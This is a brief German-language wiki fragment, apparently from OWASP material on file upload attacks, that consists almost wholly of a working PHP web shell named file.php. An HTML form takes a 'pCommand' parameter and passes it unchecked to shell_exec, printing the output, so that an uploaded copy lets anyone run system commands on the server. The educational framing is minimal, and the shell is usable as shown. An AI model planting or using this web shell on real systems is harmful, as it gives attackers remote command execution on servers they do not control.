OWASP File Upload Kommando Ausführung
file.php
- Dieser PHP File so später Kommandos ausführen
<nowwiki> <form action="" method="post" enctype="application/x-www-form-urlencoded">
|
Please enter system command |
|
| Command | <input type="text" name="pCommand" size="50"> |
|
<input type="submit" value="Execute Command" /> |
|
</form> <?php if (isset($_REQUEST["pCommand"])) { echo "<pre>"; echo shell_exec($_REQUEST["pCommand"]); echo "</pree>"; }//end if ?> </nowiki>
